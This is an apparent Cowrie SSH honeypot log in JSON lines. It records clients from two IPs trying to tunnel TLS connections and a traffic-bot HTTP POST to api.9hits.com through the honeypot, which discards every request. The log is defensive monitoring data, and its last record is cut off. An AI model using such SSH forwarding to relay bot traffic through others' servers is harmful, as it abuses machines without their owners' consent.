{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03<\\x14kb\\xc2\\xc8\\x10\\xed\\xce\\xb5\\xc2\\x99e\\xddq\\x0c\\xfbq\\xf9\\x8cq^5\\xcf\\x9e\\xaa\\x13@\\xd6\\xab{\\x8f \\x1d\\xf0\\xa2U\\x99\\xd8I\\xd3\\xb4\\xac\\xf8\\xed\\xed9\\x8a\\xef\\xc9F?3;\\n\\x1e\\xc1\\xcd\\xeeD\\xa1\\x11\\xe4\\xec<\\x00\"\\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 r\\x01\\xb6So\\x14\\xea\\xd5\\x1b\\n\\x80\\xfc\\xb7vx\\xcf\\'\\xdeS&!\\xdc-\\xf6\\xb9#\\xd9#\\x7f\\x91\\x9dn\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03<\\x14kb\\xc2\\xc8\\x10\\xed\\xce\\xb5\\xc2\\x99e\\xddq\\x0c\\xfbq\\xf9\\x8cq^5\\xcf\\x9e\\xaa\\x13@\\xd6\\xab{\\x8f \\x1d\\xf0\\xa2U\\x99\\xd8I\\xd3\\xb4\\xac\\xf8\\xed\\xed9\\x8a\\xef\\xc9F?3;\\n\\x1e\\xc1\\xcd\\xeeD\\xa1\\x11\\xe4\\xec<\\x00\"\\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 r\\x01\\xb6So\\x14\\xea\\xd5\\x1b\\n\\x80\\xfc\\xb7vx\\xcf\\'\\xdeS&!\\xdc-\\xf6\\xb9#\\xd9#\\x7f\\x91\\x9dn\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:58.315326Z","src_ip":"123.27.168.40","session":"9af4c4982d97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:58.685447Z","src_ip":"123.27.168.40","session":"9af4c4982d97","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:19:00.697907Z","session":"cdf17b091499","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:19:00.757783Z","src_ip":"23.175.50.51","session":"cdf17b091499","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1180\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.75 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=UVFQfXV4ZyttV2s%2FRW5IWg%3D%3DPR62dYXrUchVo0l5TSk%2BzVfcA0sa%2FRmKMZuybCDpxxN6RdOuotyZQG%2Fxi2pV9rAbG30nroVn2sG%2BlnSwHvcz%2FfCNGv%2Fxrxubcg94X2pypA30gTbns%2BaTe%2BFgnUbodoHIWnT5LSyuPpO2gErgeHLDUp9EF5E73yvsP05Cj5r3mysgrSkgjaJsJuWlC0QGxaI25BVOo2GtnrQMv9uOTISfrVQYBPg%2Btxd3Jcnzbh%2FrZbJ8xJ4PKv2mdM4Hl3xcPevXy%2FOwyUs3Bq5t1mdPoespqevxnDEpMMnQ6MYxo0TgLla4eCT%2BsZeNGTs9%2BMasL9kBE4YOjwG%2Ba1zjNrVEJzvgLa53ZmktEDHjZ9eOvWBgWtV2dMh1Ps41QiiSjmjgxS8r2VzpWpKP5aN%2F8NYKBeyeqPdMypIqguJsBRJVM5WSFF5DGBINVYz0JvEJ8XSj7Vc%2Btml5k6QCVqNOrPzR4DYiUFHnOnxlFmjxyjtzVvZtBoAqxnfI5HNlrEsfqwO9iu3m3xO1KbBXUWSx%2B3d3JtocEqdPlLoPxqLmjoWFtAmXFlemjiyZ5S0vPQ4cXFJUmhyLr%2BzqPXISW%2BMYLIxIUJZFmraahg7p3LIvfMOFADFc0os7qteI0B%2B76v1WN%2FuGdU5bJf48vgdGXFsVqtaA1BRpDdsw2jpn1u6dPgN4AAKfA%2B5sYeAyPOsgL1mIzuHgdG%2BJ3YG215Qy6AsP9xzVUuMecNP8wRt5uOxK7GwjosX7VZrRmQWR4BDiPDf%2FN4c2TQg0U36XMeXYX8RywxhC1P9sg3yOGs2%2FpBNLJ5F5n6QU30nBcLGQ53LJgtKK8KzzguD48rtiEtubuO6bgbRuAHc2u3f1Cc3DT794O6AujVdbEtL3gXVZ%2FQk6CrHzOBlpXK6OWddEMgAHh5uWoCy8U%2FihyteDET4d6JDdoi4AvqiLrh0B0OhzH%2B1vl%2F8g7rLdvanWmPO4c7G9RRx8zyYGF42uaxpe8LdbFnhhp2kJ5yTiSUP3tj0i9BJ3X6je%2FJYQoHFQ22BVQXpWqbyKMSxGsvO4K6d6WGXpIrNiLmAAD56a4IALsNWlAMToMGxvRtNHuT6s'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1180\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.75 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=UVFQfXV4ZyttV2s%2FRW5IWg%3D%3DPR62dYXrUchVo0l5TSk%2BzVfcA0sa%2FRmKMZuybCDpxxN6RdOuotyZQG%2Fxi2pV9rAbG30nroVn2sG%2BlnSwHvcz%2FfCNGv%2Fxrxubcg94X2pypA30gTbns%2BaTe%2BFgnUbodoHIWnT5LSyuPpO2gErgeHLDUp9EF5E73yvsP05Cj5r3mysgrSkgjaJsJuWlC0QGxaI25BVOo2GtnrQMv9uOTISfrVQYBPg%2Btxd3Jcnzbh%2FrZbJ8xJ4PKv2mdM4Hl3xcPevXy%2FOwyUs3Bq5t1mdPoespqevxnDEpMMnQ6MYxo0TgLla4eCT%2BsZeNGTs9%2BMasL9kBE4YOjwG%2Ba1zjNrVEJzvgLa53ZmktEDHjZ9eOvWBgWtV2dMh1Ps41QiiSjmjgxS8r2VzpWpKP5aN%2F8NYKBeyeqPdMypIqguJsBRJVM5WSFF5DGBINVYz0JvEJ8XSj7Vc%2Btml5k6QCVqNOrPzR4DYiUFHnOnxlFmjxyjtzVvZtBoAqxnfI5HNlrEsfqwO9iu3m3xO1KbBXUWSx%2B3d3JtocEqdPlLoPxqLmjoWFtAmXFlemjiyZ5S0vPQ4cXFJUmhyLr%2BzqPXISW%2BMYLIxIUJZFmraahg7p3LIvfMOFADFc0os7qteI0B%2B76v1WN%2FuGdU5bJf48vgdGXFsVqtaA1BRpDdsw2jpn1u6dPgN4AAKfA%2B5sYeAyPOsgL1mIzuHgdG%2BJ3YG215Qy6AsP9xzVUuMecNP8wRt5uOxK7GwjosX7VZrRmQWR4BDiPDf%2FN4c2TQg0U36XMeXYX8RywxhC1P9sg3yOGs2%2FpBNLJ5F5n6QU30nBcLGQ53LJgtKK8KzzguD48rtiEtubuO6bgbRuAHc2u3f1Cc3DT794O6AujVdbEtL3gXVZ%2FQk6CrHzOBlpXK6OWddEMgAHh5uWoCy8U%2FihyteDET4d6JDdoi4AvqiLrh0B0OhzH%2B1vl%2F8g7rLdvanWmPO4c7G9RRx8zyYGF42uaxpe8LdbFnhhp2kJ5yTiSUP3tj0i9BJ3X6je%2FJYQoHFQ22BVQXpWqbyKMSxGsvO4K6d6WGXpIrNiLmAAD56a4IALsNWlAMToMGxvRtNHuT6s'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:19:00.760898Z","src_ip":"23.175.50.51","session":"cdf17b091499","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:19:00.845434Z","session":"cdf17b091499","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:19:00.903281Z","src_ip":"23.175.50.51","session":"cdf17b091499","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xea#\\xd85\\x160\\xa6\\x9evB\\x99O\\xa8\\x1d\\xbae\\x95\\xd6\\x8e\\xcc\\x99\\x19\\xe8;fo\\xdc&\\x85L\\xdc: \\xf9\\xee\\xacl\\x96\\x89\\xcd\\x12\\x16\\xdd*\\xf5\\x95\\xa3C}\\xf7\\x7f\\xabz\\xa2\\xcd\\xd2_\\r\\x83'Y\\xe7\\x82\\xea!\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\r\\xe0\\x06\\xa0u\\x10\\x14m/\\x00\\x83\\x9e\\x82\\xf8p\\xb4\\x1a\\xfd\\xe6%\\xac\\xaf\\x1c\\xfe\\x05OM\\x9c\\xa4e\\xa96\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xea#\\xd85\\x160\\xa6\\x9evB\\x99O\\xa8\\x1d\\xbae\\x95\\xd6\\x8e\\xcc\\x99\\x19\\xe8;fo\\xdc&\\x85L\\xdc: \\xf9\\xee\\xacl\\x96\\x89\\xcd\\x12\\x16\\xdd*\\xf5\\x95\\xa3C}\\xf7\\x7f\\xabz\\xa2\\xcd\\xd2_\\r\\x83'Y\\xe7\\x82\\xea!\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\r\\xe0\\x06\\xa0u\\x10\\x14m/\\x00\\x83\\x9e\\x82\\xf8p\\xb4\\x1a\\xfd\\xe6%\\xac\\xaf\\x1c\\xfe\\x05OM\\x9c\\xa4e\\xa96\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:19:00.906501Z","src_ip":"23.175.50.51","session":"cdf17b091499","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:19:01.468803Z","session":"cdf17b091499","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:19:01.526360Z","src_ip":"23.175.50.51","session":"cdf17b091499","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03/\\x89tm\\x88Z\\xac8\\x0b\\x01\\xbatFnp\\\\\\r!\\xf7\\xa3\\x89K1\\xe99\\xc64\\x85`U_\\xf2 \\xe8g\\x15q1=\\xae\\x18\\x0b\\x1a s\\xb5[\\x06|FW\\x067sg>\\xb0y\\xf5\\xd3\\x19zB\\xd7\\xcb\\x00\"\\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 \\xfbK\\x96\\x12\\x18\\x84\\xb2\\xd7L\\xa9\\xd2w\\xf9\\xcd\\xc3+\\xc4\\x07m\\xcby\\x92\\x0bixY\\x03\\xedV\\xc5h\\x1a\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03/\\x89tm\\x88Z\\xac8\\x0b\\x01\\xbatFnp\\\\\\r!\\xf7\\xa3\\x89K1\\xe99\\xc64\\x85`U_\\xf2 \\xe8g\\x15q1=\\xae\\x18\\x0b\\x1a 